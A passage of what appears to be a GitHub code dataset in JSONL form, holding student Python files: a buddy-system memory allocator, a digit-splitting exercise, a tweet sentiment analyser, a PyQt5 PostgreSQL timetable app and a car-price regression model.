node._leftchild.block = None\r\n        node._leftchild._parent = None\r\n        node._leftchild = None\r\n\r\n        node._rightchild.block = None\r\n        node._rightchild._parent = None\r\n        node._rightchild = None\r\n\r\n    # sets a node to being deallocated. in other words the node is now free for memory allocation\r\n    def deallocate_node(self, node):\r\n        node.block._allocated = False\r\n        node.block._process = None  \r\n        node.block._accessed = 0\r\n                \r\n            \r\n\r\nclass memory(object):\r\n\r\n    def __init__(self):\r\n        # in KB, 1 = 1KB, 1024 = 1024KB = 1MB\r\n        self._user_space_mem_size = 4096\r\n        self._page_size = 4\r\n        self._allocation_queue = QueueV0()  #this is the queue where processes in need of memory allocation are enqueue\r\n        self._buddy_tree = BuddySystemBST(self._user_space_mem_size)\r\n        self._bitmap = {0:0}\r\n        self._replacement_queue = QueueV0() # this is the queue used for the second chance algorithm\r\n\r\n    def request_memory_allocation(self, process):\r\n        self._allocation_queue.enqueue(process)\r\n\r\n    # processes requesting memory are dequeued on a FIFO basis and allocated memory\r\n    def allocate_memory(self):\r\n        if self._allocation_queue.length() != 0:\r\n            proc = self._allocation_queue.dequeue()\r\n            node_found = self._allocate_memory(proc)\r\n            self._replacement_queue.enqueue(node_found)\r\n            print(f\"process {proc.pid}: requested {proc.memory}KB - allocated {node_found.block.size}KB\")\r\n            return node_found\r\n\r\n    def _allocate_memory(self, proc):\r\n        if self.is_memory_full():\r\n            self.replace()\r\n\r\n        # the amount of memory that the process is requesting\r\n        mem_required = proc.memory\r\n    \r\n        if mem_required < self._page_size:\r\n            mem_required = self._page_size\r\n        \r\n        # the memory requested by the process is rounded to the nearest power of 2\r\n        mem_required -= 1\r\n        k = 1  \r\n        while k < mem_required:\r\n            k *= 2\r\n        target_size = k\r\n\r\n        # finds a free block that suits the process and allocates the block to that process\r\n        block_nodes = self._buddy_tree.get_leaf_nodes()\r\n        found = False\r\n        node_found = None\r\n        for node in block_nodes:\r\n            if node.block.size == target_size and node.block._allocated == False:\r\n                found = True\r\n                node.block.process = proc\r\n                node.block._allocated = True\r\n                node.block._accessed = 0\r\n                self.update_bitmap()\r\n                node_found = node\r\n                break\r\n        \r\n        if found == False:\r\n            # finds if any free blocks can be split recursively to be allocated to the process\r\n            block_node_to_split = None\r\n            max_free_node_size = 0\r\n            for node in block_nodes:\r\n                if node.block.size > max_free_node_size and node.block._allocated == False and node.block.size >= target_size:\r\n                    max_free_node_size = node.block.size\r\n                    block_node_to_split = node\r\n                    break\r\n            \r\n            # if a node suitable for a split is found, it is split until its size matches the target_size \r\n            # and then allocates the left-most split leaf node to the process requesting memory\r\n            # otherwise blocks are deallocated recursively unitl the process requesting memory \r\n            # can have memory allocated to it \r\n            if block_node_to_split != None:\r\n                free_block_node = self.split_until_allocated(target_size, block_node_to_split)\r\n                free_block_node.block.process = proc\r\n                free_block_node.block._allocated = True\r\n                free_block_node.block._accessed = 0\r\n                self.update_bitmap()\r\n                node_found = free_block_node\r\n            else:\r\n                self.replace()\r\n                node_found = self._allocate_memory(proc)\r\n\r\n        return node_found\r\n\r\n    # split tree nodes recursively until the leaf nodes of that subtree\r\n    # match the target size\r\n    def split_until_allocated(self, target_size, block_node_to_split):\r\n        free_block_node = None\r\n        parent_node = self._buddy_tree.split_node(block_node_to_split)\r\n        if parent_node._leftchild.block.size == target_size:\r\n            free_block_node = parent_node._leftchild\r\n        else:\r\n            free_block_node = self.split_until_allocated(target_size, parent_node._leftchild)\r\n        return free_block_node\r\n\r\n    # does a simple check to see if the memory is completely full\r\n    def is_memory_full(self):\r\n        full = True\r\n        for block in self._bitmap:\r\n            if self._bitmap[block] == 0:\r\n                full = False\r\n                break\r\n        return full\r\n\r\n    # deallocated blocks from memory using the second chance algorithm\r\n    def replace(self):\r\n        if self._replacement_queue.length() != 0:\r\n            node = self._replacement_queue.dequeue()     \r\n            if node.block._accessed == 1:\r\n                node.block._accessed = 0\r\n                self._replacement_queue.enqueue(node)\r\n                print(f\"process {node.block.process.pid} has been given a second chance\")\r\n            else:\r\n                print(f\"process {node.block.process.pid} has been deallocated\")\r\n                self.remove_block(node)\r\n           \r\n            self.update_bitmap()\r\n         \r\n    def update_bitmap(self):\r\n        block_nodes = self._buddy_tree.get_leaf_nodes()\r\n        self._bitmap = {}\r\n        for node in block_nodes:\r\n            if node.block._allocated == True:\r\n                self._bitmap[block_nodes.index(node)] = 1\r\n            else:\r\n                self._bitmap[block_nodes.index(node)] = 0\r\n        return self._bitmap\r\n\r\n    # merges a block and its buddy if both are not allocated\r\n    # othewise the block is simply deallocated and the tree stays as it is\r\n    def remove_block(self, node):\r\n        if self._buddy_tree.is_leaf(node) == True:\r\n            if self._buddy_tree.is_leaf(node._parent._rightchild) == True and node._parent._rightchild.block._allocated == False:\r\n                node._parent.block._allocated = False\r\n                self._buddy_tree.merge_children_nodes(node._parent) \r\n            else:\r\n                self._buddy_tree.deallocate_node(node)\r\n            self.update_bitmap()\r\n\r\n    def calculate_fragmentation(self):\r\n        nodes = self._buddy_tree.get_leaf_nodes()\r\n        internal_memory_consumed = 0\r\n        external_memory_consumed = 0\r\n        for node in nodes:\r\n            if node.block.process != None:\r\n                internal_memory_consumed += node.block.process.memory\r\n                external_memory_consumed += node.block.size\r\n\r\n        # fragmentation result is the percentage of unused memory\r\n        internal_fragmentation = ((external_memory_consumed - internal_memory_consumed) / external_memory_consumed ) * 100\r\n        external_fragmentation = ((self._user_space_mem_size - external_memory_consumed) / self._user_space_mem_size) * 100\r\n        print(f\"-----------------\\nFragmentation: \\nInternal: {internal_fragmentation}% \\nExternal: {external_fragmentation }%\\n-----------------\")\r\n\r\n    \r\n\r\n\r\nif __name__ == \"__main__\":\r\n    def basic_test():\r\n        mem = memory()\r\n        proc1 = Process(1, 50)\r\n        mem.request_memory_allocation(proc1)\r\n        proc1_node = mem.allocate_memory()\r\n\r\n        proc2 = Process(2, 254)\r\n        mem.request_memory_allocation(proc2)\r\n        mem.allocate_memory()\r\n\r\n        proc4 = Process(4, 120)\r\n        mem.request_memory_allocation(proc4)\r\n        mem.allocate_memory()\r\n        \r\n        proc5 = Process(5, 1000)\r\n        mem.request_memory_allocation(proc5)\r\n        mem.allocate_memory()\r\n\r\n        proc6 = Process(6, 500)\r\n        mem.request_memory_allocation(proc6)\r\n        mem.allocate_memory()\r\n\r\n        proc7 = Process(7, 2010)\r\n        mem.request_memory_allocation(proc7)\r\n        mem.allocate_memory()\r\n\r\n\r\n        print(mem._bitmap)\r\n        mem._buddy_tree.print_leaf_nodes()\r\n\r\n        print(\"----------------------\")\r\n\r\n        #mem.remove_block(proc1_node)\r\n        #print(mem._bitmap)\r\n        #mem._buddy_tree.print_leaf_nodes()\r\n\r\n        proc8 = Process(8, 60)\r\n        mem.request_memory_allocation(proc8)\r\n        mem.allocate_memory()\r\n        mem._buddy_tree.print_leaf_nodes()\r\n        mem.calculate_fragmentation()\r\n\r\n        \r\n        proc9 = Process(9, 100)\r\n        mem.request_memory_allocation(proc9)\r\n        mem.allocate_memory()\r\n        mem._buddy_tree.print_leaf_nodes()\r\n\r\n        proc10 = Process(10, 1500)\r\n        mem.request_memory_allocation(proc10)\r\n        mem.allocate_memory()\r\n        mem._buddy_tree.print_leaf_nodes()\r\n\r\n        #proc11 = Process(11, 1)\r\n        #mem.request_memory_allocation(proc11)\r\n        #mem.allocate_memory()\r\n        #mem._buddy_tree.print_leaf_nodes()\r\n\r\n        mem.calculate_fragmentation()\r\n\r\n    def random_test():\r\n        mem = memory()\r\n         \r\n        for i in range(250):\r\n            proc = Process(i, randint(mem._page_size, 32))\r\n            mem.request_memory_allocation(proc)\r\n            node = mem.allocate_memory()\r\n\r\n            node.block._accessed = randint(0,1)\r\n\r\n        mem.calculate_fragmentation()\r\n        mem._buddy_tree.print_leaf_nodes()\r\n        \r\n\r\n    #basic_test()\r\n    random_test()","repo_name":"EimantasPusinskas/operating_systems_2","sub_path":"assignment2/main_memory.py","file_name":"main_memory.py","file_ext":"py","file_size_in_byte":12828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6492236997","text":"# Faça um Programa que leia um número inteiro menor que 1000\n# e imprima a quantidade de centenas, dezenas e unidades do mesmo.\n\n#    Observando os termos no plural a colocação do \"e\", da vírgula entre\n# outros. Exemplo:\n#    326 = 3 centenas, 2 dezenas e 6 unidades\n#    12 = 1 dezena e 2 unidades Testar com: 326, 300, 100, 320, 310,305, 301,\n# 101, 311, 111, 25, 20, 10, 21, 11, 1, 7 e 16\n\nnumero_completo = int(input(\"Insira um número inteiro positivo: \"))\n\nunidade = numero_completo % 10\nnumero = (numero_completo - unidade) / 10\ndezena = numero % 10\nnumero = (numero - dezena) / 10\ncentena = numero % 10\nmilhar = (numero - centena) / 10\n\nunidade = int(unidade)\ndezena = int(dezena)\ncentena = int(centena)\nmilhar = int(milhar)\n\nif numero_completo >= 1000:\n    if unidade == 1:\n        un = \"unidade\"\n    else:\n        un = \"unidades\"\n\n    if dezena == 1:\n        dz = \"dezena\"\n    else:\n        dz = \"dezenas\"\n\n    if centena == 1:\n        cent = \"centena\"\n    else:\n        cent = \"centenas\"\n\n    if milhar == 1:\n        mil = \"milhar\"\n    else:\n        mil = \"milhares\"\n\n    print(f\"{numero_completo} - {milhar} {mil}, {centena} {cent}, \"\n          f\"{dezena} {dz} e {unidade} {un}.\")\n\nelif numero_completo >= 100:\n    if unidade == 1:\n        un = \"unidade\"\n    else:\n        un = \"unidades\"\n\n    if dezena == 1:\n        dz = \"dezena\"\n    else:\n        dz = \"dezenas\"\n\n    if centena == 1:\n        cent = \"centena\"\n    else:\n        cent = \"centenas\"\n\n    print(f\"{numero_completo} - {centena} {cent}, {dezena} {dz} \"\n          f\"e {unidade} {un}.\")\n\nelif numero_completo >= 10:\n    if unidade == 1:\n        un = \"unidade\"\n    else:\n        un = \"unidades\"\n\n    if dezena == 1:\n        dz = \"dezena\"\n    else:\n        dz = \"dezenas\"\n\n    print(f\"{numero_completo} - {dezena} {dz} e {unidade} {un}.\")\n\nelse:\n    if unidade == 1:\n        un = \"unidade\"\n    else:\n        un = \"unidades\"\n\n    print(f\"{numero_completo} - {unidade} {un}.\")\n\n# print(f\"{numero_completo} - {milhar} {mil}, {centena} {cent}, {dezena} {dz} \"\n#      f\"e {unidade} { un}.\")\n","repo_name":"AndreGorny/exercicios_python","sub_path":"estrutura_decisao/19.py","file_name":"19.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29403973147","text":"import re\r\nimport tweepy\r\nfrom tweepy import OAuthHandler\r\nfrom textblob import TextBlob\r\nfrom wordcloud import WordCloud\r\nimport pandas as pd  \r\nimport numpy as np \r\nimport matplotlib.pyplot as plt \r\nplt.style.use('fivethirtyeight')\r\n\r\n#twitter Api credentials\r\nconsumerKey = \"xxxxx-xxxxxxx--xxxxxxx--xxxx\"\r\nconsumerSecret = 'xxxxx--xxxxxxxxxxx---------xxxxxxxx'\r\naccessToken = 'xxxxxxxxxxxx---xxx--xxxxxxxxx--------xxxxxxxx'\r\naccessTokenSecret = 'xxxxxxxxxxxxxxxx---xxxxxxxxxxxxx'\r\n\r\n#Create the authentication object\r\nauthenticate = tweepy.OAuthHandler(consumerKey, consumerSecret)\r\n\r\n#set the authentication ojject\r\nauthenticate.set_access_token(accessToken, accessTokenSecret) \r\n\r\n#Create the API object while passing in the auth information\r\napi = tweepy.API(authenticate, wait_on_rate_limit=True)\r\n\r\n#Extract 100 tweets from the twitter user\r\nposts = api.user_timeline(screen_name = \"BillGates\", count =100, lang = 'en', tweet_mode=\"extended\")\r\n    \r\n#create a dataframe with a coulmn called Tweets\r\ndf = pd.DataFrame( [tweet.full_text for tweet in posts] , columns=['Tweets'])\r\n\r\n#Show the first 5 rows of data\r\ndf.head()\r\n\r\n#Clean the text\r\n\r\n#Create a function to clean text\r\ndef cleantxt(text):\r\n    text = re.sub(r'@[A-Za-z0-9]+','',text) #Removed @mentions\r\n    text = re.sub(r'#', '', text)   #Removing the '#' symbol\r\n    text = re.sub(r'RT[\\s]+', '', text) #Removing RT\r\n    text = re.sub(r'https?:\\/\\/\\S+', '', text)\r\n    return text\r\n\r\n#Cleaning the text\r\ndf['Tweets']=df['Tweets'].apply(cleantxt)\r\n\r\n#show the cleaned text\r\ndf\r\n\r\n#Create a function to get the subjectivity\r\ndef getSubjectivity(text):\r\n    return TextBlob(text).sentiment.subjectivity\r\n\r\n#create a function to get the polarity\r\ndef getPolarity(text):\r\n    return TextBlob(text).sentiment.subjectivity\r\n\r\n#Create two new columns\r\ndf['Subjectivity'] = df['Tweets'].apply(getSubjectivity)\r\ndf['Polarity'] = df['Tweets'].apply(getPolarity)\r\n\r\n#Show the new dataframe with the new columns\r\ndf\r\n\r\n#Plot the word cloud\r\nallWords = ' '.join( [twts for twts in df['Tweets']] )\r\ncloud = WordCloud(width = 500, height = 300, random_state = 21, max_font_size = 119).generate(allWords)\r\n\r\nplt.imshow(cloud, interpolation = \"bilinear\")\r\nplt.axis('off')\r\nplt.show()\r\n\r\n#create a function to compute the negatve, neutral and positive\r\ndef getAnalysis(score):\r\n    if score < 0:\r\n        return 'Negative'\r\n    elif score == 0:\r\n        return 'Neutral'\r\n    else:\r\n        return 'Positive'\r\n\r\ndf['Analysis'] = df['Polarity'].apply(getAnalysis)\r\n\r\n#show the dataframe\r\ndf\r\n\r\n#Print all of the positive tweets\r\nj=1\r\nsortedDF = df.sort_values(by=['Polarity'])\r\nfor i in range(0,sortedDF.shape[0]):\r\n    if(sortedDF['Analysis'][i] == 'Positive'):\r\n        print(str(j) + ') '+sortedDF['Tweets'][i])\r\n        print()\r\n        j = j+1\r\n\r\n#print the negative tweets\r\nj=1\r\nsortedDF = df.sort_values(by=['Polarity'], ascending = 'False')\r\nfor i in range(0, sortedDF.shape[0]):\r\n    if( sortedDF['Analysis'][i] == 'Negative'):\r\n        print(str(j) +') '+ sortedDF['Tweets'][i])\r\n        print()\r\n        j = j+1\r\n\r\n#plot the polarity and subjectivity\r\nplt.figure(figsize=(8,6))\r\nfor i in range(0,df.shape[0]):\r\n    plt.scatter(df['Polarity'][i], df['Subjectivity'][i], color='Blue')\r\n\r\nplt.title('Sentiment Analysis')\r\nplt.xlabel('Polarity')\r\nplt.ylabel('Subjectivity')\r\nplt.show()\r\n\r\n#Get the percentage of positive tweets\r\nptweets = df[df.Analysis == 'Positive']\r\nptweets = ptweets['Tweets']\r\n\r\nround( (ptweets.shape[0] / df.shape[0]) *100 , 1)\r\n\r\n#Get the percentage of negative tweets\r\nntweets = df[df.Analysis == 'Negative']\r\nntweets = ntweets['Tweets']\r\nround( (ntweets.shape[0] / df.shape[0]*100),1)\r\n\r\n#show the value counts\r\ndf['Analysis'].value_counts()\r\n#plot and visualize the counts\r\nplt.title('Sentiment Analysis')\r\nplt.xlabel('Sentiment')\r\nplt.ylabel('Counts')\r\ndf['Analysis'].value_counts().plot(kind='bar')\r\nplt.show()","repo_name":"sohailali26/Sentimental-Analysis-using-Python","sub_path":"SENTIMENT ANYLISIS.py","file_name":"SENTIMENT ANYLISIS.py","file_ext":"py","file_size_in_byte":3896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31859251912","text":"# Импортируем необходимые библиотеки и адаптеры\nimport psycopg2\nimport sys\n\nfrom PyQt5.QtWidgets import (QApplication, QWidget,\n                             QTabWidget, QAbstractScrollArea,\n                             QVBoxLayout, QHBoxLayout,\n                             QTableWidget, QGroupBox,\n                             QTableWidgetItem, QPushButton, QMessageBox)\n\n# Создаем класс MainWindow с конструктором\nclass MainWindow(QWidget):  # Класс QTabWidget создает структуру, которую можно заполнять вкладками.\n    def __init__(self):\n        super(MainWindow, self).__init__()\n\n        self._connect_to_db()\n\n        self.setWindowTitle(\"Shedule\")\n        self.setGeometry(270, 100, 915, 700)\n\n        self.vbox = QVBoxLayout(self)\n\n        self.tabs = QTabWidget(self)\n        self.vbox.addWidget(self.tabs)\n\n        self.update_button = QPushButton(\"Update\")\n        self.update_button.clicked.connect(lambda _: self._update())\n        self.updatebtn_lay = QHBoxLayout()\n        self.vbox.addLayout(self.updatebtn_lay)\n        self.updatebtn_lay.addWidget(self.update_button)\n\n        self._create_shedule_tab()\n        self._create_teachers_tab()\n        self._create_subjects_tab()\n\n# Создаем метод для подключения к базе данных\n    def _connect_to_db(self):\n        self.conn = psycopg2.connect(database=\"postgres\",\n                                     user=\"postgres\",\n                                     password=\"qwerty123\",\n                                     host=\"localhost\",\n                                     port=\"5432\")\n\n        self.cursor = self.conn.cursor()\n\n# Создаем метод для отображения вкладки с расписанием\n    def _create_shedule_tab(self):\n        self.shedule_tab = QWidget()  # Класс QWidget() создает виджет, который будет являться вкладкой\n        self.tabs.addTab(self.shedule_tab, \"Расписание\")\n        days = ['Понедельник', 'Вторник', 'Среда',\n            'Четверг', 'Пятница', 'Суббота']\n\n        day_tab = QTabWidget(self)\n\n        for i in days:\n            day_tab.addTab(self._create_day_table(i.upper()), i)\n        day_tab_layout = QVBoxLayout()\n        day_tab_layout.addWidget(day_tab)\n        self.shedule_tab.setLayout(day_tab_layout)\n\n    def _create_day_table(self, day):\n        table = QTableWidget()\n        table.setColumnCount(8)  # Метод setColumnCount() задает таблице количество колонок.\n        table.setHorizontalHeaderLabels([\"timetable_id\", \"day\", \"subject\", \"room_numb\", \"start_time\", \"week\", \"\", \"\"])\n        self._update_day_table(table, day)\n        return table\n\n    def _update_day_table(self, table, day):\n        self.cursor.execute(f\"SELECT * FROM timetable join subject on\"\n                            f\" timetable.subject = subject.subject_id WHERE day='{day}' \"\n                            f\"ORDER BY timetable_id\")\n        records = list(self.cursor.fetchall())\n        table.setRowCount(len(records) + 1)  # Метод setRowCount() задает таблице количество строк.\n\n        for i, r in enumerate(records):\n            r = list(r)\n            editButton = QPushButton(\"Edit\")\n            delButton = QPushButton(\"Delete\")\n            table.setItem(i, 0,\n                          QTableWidgetItem(str(r[0])))  # Метод setItem() записывает в ячейку с определенным адресом строковые  данные.\n            table.setItem(i, 1,\n                          QTableWidgetItem(str(r[1])))\n            table.setItem(i, 2,\n                          QTableWidgetItem(str(r[7])))\n            table.setItem(i, 3,\n                          QTableWidgetItem(str(r[3])))\n            table.setItem(i, 4,\n                          QTableWidgetItem(str(r[4])))\n            table.setItem(i, 5,\n                          QTableWidgetItem(str(r[5])))\n            table.setCellWidget(i, 6, editButton)  # Метод setCellWidget() помещает в ячейку с определенным адресом виджет.\n            table.setCellWidget(i, 7, delButton)\n\n            editButton.clicked.connect(\n                lambda _, rowNum=i, table=table: self._change_from_timetable(rowNum, table))\n            delButton.clicked.connect(lambda _, rowNum=i, table=table: self._delete_from_timetable(rowNum, table))\n\n        addButton = QPushButton(\"Add\")\n        addButton.clicked.connect(lambda _, rowNum=len(records), table=table: self._add_row_timetable(rowNum, table))\n        table.setCellWidget(len(records), 6, addButton)\n        table.resizeRowsToContents()  # Метод resizeRowsToContents() автоматически адаптирует размеры ячеек таблицы под размер данных внутри этой ячейки.\n\n    def _change_from_timetable(self, rowNum, table):\n        row = list()\n        for i in range(table.columnCount() - 2):\n            try:\n                row.append(table.item(rowNum, i).text())\n            except:\n                row.append(None)\n        try:\n            self.cursor.execute(\"select subject_id from subject where name=%s\", (row[2],))\n            subject = self.cursor.fetchone()\n            row[2] = subject[0]\n            row.append(row[0])\n            row = row[1:]\n            self.cursor.execute(\"update timetable set day=%s, subject=%s, room_numb=%s, start_time=%s, \"\n                                \"week=%s where timetable_id=%s\", tuple(row))\n            self.conn.commit()\n        except Exception as e:\n            QMessageBox.about(self, \"Error\", str(e))\n            self._connect_to_db()\n\n    def _delete_from_timetable(self, rowNum, table):\n        try:\n            id = table.item(rowNum, 0).text()\n            day = table.item(rowNum, 1).text()\n            self.cursor.execute(\"delete from timetable where timetable_id=%s\", (id,))\n            self.conn.commit()\n            table.setRowCount(0)\n            self._update_day_table(table, day)\n        except Exception as e:\n            QMessageBox.about(self, \"Error\", str(e))\n            self._connect_to_db()\n\n    def _add_row_timetable(self, rowNum, table):\n        row = list()\n        for i in range(1, table.columnCount() - 2):\n            try:\n                row.append(table.item(rowNum, i).text())\n            except:\n                row.append(None)\n        try:\n            self.cursor.execute(\"select subject_id from subject where name=%s\", (row[1],))\n            subject = self.cursor.fetchone()\n            row[1] = subject[0]\n            self.cursor.execute(\n                \"insert into timetable (day, subject, room_numb, start_time, week) values(%s, %s, %s, %s, %s)\",\n                (tuple(row)))\n            self.conn.commit()\n            table.setRowCount(0)\n            self._update_day_table(table, row[0])\n        except Exception as e:\n            print(e)\n            QMessageBox.about(self, \"Error\", str(e))\n            self._connect_to_db()\n\n    def _create_teachers_tab(self):\n        self.teachers = QWidget()\n        self.tabs.addTab(self.teachers, \"Преподаватели\")\n        table = QTableWidget(self)\n        table.setColumnCount(5)\n        table.setHorizontalHeaderLabels([\"teacher_id\", \"Имя\", \"Предмет\", \"\", \"\"])\n\n        teachers_tab_layout = QVBoxLayout()\n        teachers_tab_layout.addWidget(table)\n\n        self._update_teachers_tab(table)\n        self.teachers.setLayout(teachers_tab_layout)\n\n    def _update_teachers_tab(self, table):\n        self.cursor.execute(f\"SELECT * FROM teacher join subject on teacher.subject=subject.subject_id\"\n                            f\" ORDER BY teacher_id\")\n        records = list(self.cursor.fetchall())\n        table.setRowCount(len(records) + 1)\n\n        for i, r in enumerate(records):\n            r = list(r)\n            editButton = QPushButton(\"Edit\")\n            delButton = QPushButton(\"Delete\")\n            table.setItem(i, 0,\n                          QTableWidgetItem(str(r[0])))\n            table.setItem(i, 1,\n                          QTableWidgetItem(str(r[1])))\n            table.setItem(i, 2,\n                          QTableWidgetItem(str(r[4])))\n            table.setCellWidget(i, 3, editButton)\n            table.setCellWidget(i, 4, delButton)\n\n            editButton.clicked.connect(\n                lambda _, rowNum=i, tabl=table: self._change_from_teacher(rowNum, tabl))\n            delButton.clicked.connect(\n                lambda _, rowNum=i, tabl=table:\n                self._delete_from_teacher(rowNum, table))\n        addButton = QPushButton(\"Add\")\n        addButton.clicked.connect(\n            lambda _, rowNum=len(records), table=table: self._add_row_teacher(rowNum, table))\n        table.setCellWidget(len(records), 3, addButton)\n        table.resizeRowsToContents()\n\n    def _change_from_teacher(self, rowNum, table):\n        row = list()\n\n        for i in range(table.columnCount() - 2):\n            try:\n                row.append(table.item(rowNum, i).text())\n            except:\n                row.append(None)\n        try:\n            self.cursor.execute(\"select subject_id from subject where name=%s\", (row[2],))\n            subject = self.cursor.fetchone()\n            row[2] = subject[0]\n            row.append(row[0])\n            row = row[1:]\n            self.cursor.execute(\"update teacher set full_name=%s, subject=%s where teacher_id=%s\", tuple(row))\n            self.conn.commit()\n        except Exception as e:\n            QMessageBox.about(self, \"Error\", str(e))\n            self._connect_to_db()\n\n    def _delete_from_teacher(self, rowNum, table):\n        try:\n            id = table.item(rowNum, 0).text()\n            self.cursor.execute(\"delete from teacher where teacher_id=%s\", (id,))\n            self.conn.commit()\n            table.setRowCount(0)\n            self._update_teachers_tab(table)\n        except Exception as e:\n            QMessageBox.about(self, \"Error\", str(e))\n            self._connect_to_db()\n\n    def _add_row_teacher(self, rowNum, table):\n        row = list()\n        for i in range(1, table.columnCount() - 2):\n            try:\n                row.append(table.item(rowNum, i).text())\n            except:\n                row.append(None)\n        self.cursor.execute(\"select subject_id from subject where name=%s\", (row[1],))\n        subject = self.cursor.fetchone()\n        row[1] = subject[0]\n        try:\n            self.cursor.execute(\n                \"insert into teacher (full_name, subject) values(%s, %s)\",\n                (tuple(row)))\n            self.conn.commit()\n            table.setRowCount(0)\n            self._update_teachers_tab(table)\n        except Exception as e:\n            print(e)\n            QMessageBox.about(self, \"Error\", str(e))\n            self._connect_to_db()\n\n    def _create_subjects_tab(self):\n        self.subjects = QWidget()\n        self.tabs.addTab(self.subjects, \"Предметы\")\n        table = QTableWidget(self)\n        table.setColumnCount(4)\n        table.setHorizontalHeaderLabels([\"subject_id\", \"Предмет\", \"\", \"\"])\n\n        subjects_tab_layout = QVBoxLayout()\n        subjects_tab_layout.addWidget(table)\n\n        self._update_subjects_tab(table)\n        self.subjects.setLayout(subjects_tab_layout)\n\n    def _update_subjects_tab(self, table):\n        self.cursor.execute(f\"SELECT * FROM subject ORDER BY subject_id\")\n        records = list(self.cursor.fetchall())\n        table.setRowCount(len(records) + 1)\n        for i, r in enumerate(records):\n            r = list(r)\n            editButton = QPushButton(\"Edit\")\n            delButton = QPushButton(\"Delete\")\n            table.setItem(i, 0,\n                          QTableWidgetItem(str(r[0])))\n            table.setItem(i, 1,\n                          QTableWidgetItem(str(r[1])))\n            table.setCellWidget(i, 2, editButton)\n            table.setCellWidget(i, 3, delButton)\n\n            editButton.clicked.connect(\n                lambda _, rowNum=i, table=table: self._change_from_subjects(rowNum, table))\n            delButton.clicked.connect(\n                lambda _, rowNum=i, table=table:\n                self._delete_from_subjects(rowNum, table))\n\n        addButton = QPushButton(\"Add\")\n        addButton.clicked.connect(\n            lambda _, rowNum=len(records), table=table: self._add_row_subject(rowNum, table))\n        table.setCellWidget(len(records), 2, addButton)\n        table.resizeRowsToContents()\n\n    def _change_from_subjects(self, rowNum, table):\n        row = list()\n\n        for i in range(table.columnCount() - 2):\n            try:\n                row.append(table.item(rowNum, i).text())\n            except:\n                row.append(None)\n        try:\n            row.append(row[0])\n            row = row[1:]\n            self.cursor.execute(\"update subject set name=%s where subject_id=%s\", tuple(row))\n            self.conn.commit()\n        except Exception as e:\n            QMessageBox.about(self, \"Error\", str(e))\n            self._connect_to_db()\n\n    def _delete_from_subjects(self, rowNum, table):\n        try:\n            id = table.item(rowNum, 0).text()\n            self.cursor.execute(\"delete from teacher where subject=%s\", (id,))\n            self.cursor.execute(\"delete from timetable where subject=%s\", (id,))\n            self.cursor.execute(\"delete from subject where subject_id=%s\", (id,))\n            self.conn.commit()\n            table.setRowCount(0)\n            self._update_subjects_tab(table)\n        except Exception as e:\n            QMessageBox.about(self, \"Error\", str(e))\n            self._connect_to_db()\n\n    def _add_row_subject(self, rowNum, table):\n        subject = table.item(rowNum, 1).text()\n        try:\n            self.cursor.execute(\n                \"insert into subject (name) values(%s)\",\n                (subject,))\n            self.conn.commit()\n            table.setRowCount(0)\n            self._update_subjects_tab(table)\n        except Exception as e:\n            print(e)\n            QMessageBox.about(self, \"Error\", str(e))\n            self._connect_to_db()\n\n# Создаем метод обновляющий все таблицы на вкладке\n    def _update(self):\n        self.tabs.removeTab(0)\n        self.tabs.removeTab(0)\n        self.tabs.removeTab(0)\n        self._create_shedule_tab()\n        self._create_teachers_tab()\n        self._create_subjects_tab()\n\n\napp = QApplication(sys.argv)\nwin = MainWindow()\nwin.show()\nsys.exit(app.exec_())\n","repo_name":"Michael-merlot/All-labaratories-","sub_path":"8_lab_rabota.py","file_name":"8_lab_rabota.py","file_ext":"py","file_size_in_byte":14661,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"8771261481","text":"# Importing the necessary libraries\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nimport numpy as np\r\nimport os\r\n\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.metrics import r2_score\r\n\r\n# Obtain the dfset and store it in a variable\r\ndf = pd.read_csv(\"C:/Users/reibo/OneDrive/Dokumenti/dokumenti za faks/year 3/machine  learning/Car prices/car data.csv\")\r\n\r\n# Creating dummies for the above variables\r\nFuel_type = pd.get_dummies(df['Fuel_Type'], drop_first = True)\r\nSeller_Type = pd.get_dummies(df['Seller_Type'], drop_first = True)\r\nTransmission = pd.get_dummies(df['Transmission'], drop_first = True)\r\n\r\n# Drop the dummy variables from the data frame and combine them into a single one\r\ndf = df.drop(['Fuel_Type', 'Seller_Type', 'Transmission', 'Car_Name'], axis=1)\r\ndf = pd.concat([df,Fuel_type, Seller_Type, Transmission], axis=1)\r\n\r\n# Define the target variable\r\nY = df['Selling_Price']\r\nX = df.drop(['Selling_Price'], axis=1)\r\n#X = StandardScaler().fit_transform(df)\r\n\r\n# Split the data into train and test\r\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=.2, random_state=1)\r\n\r\n# Create the model (using Linear Regression)\r\nmodel = LinearRegression()\r\nmodel.fit(X_train, y_train)\r\n\r\n# Test the model\r\n#print(model.score(X_test, y_test))\r\n\r\n# Compare the prediction with the actual values and show the error\r\npred = model.predict(X_test)\r\npred_overview = pd.DataFrame()\r\npred_overview[\"truth\"] = y_test\r\npred_overview[\"pred\"] = pred\r\npred_overview[\"error\"] = pred_overview[\"truth\"] - pred_overview[\"pred\"]\r\npred_overview[\"error\"] = abs(pred_overview[\"error\"].astype(int))\r\npred_overview = pred_overview.reset_index(drop=  True)\r\n#print(pred_overview)\r\n\r\nscore = r2_score(y_test, pred)\r\n#print(score)\r\n\r\nplot = sns.regplot(y=y_test.values.flatten(), x=pred.flatten(), line_kws={\"color\": \"g\"})\r\nplot.set_xlabel(\"predicted price\")\r\nplot.set_ylabel(\"actual price\")\r\nplt.show()\r\n\r\n","repo_name":"Evonn69/SmileDetection","sub_path":"Car prices/car price prediction.py","file_name":"car price prediction.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
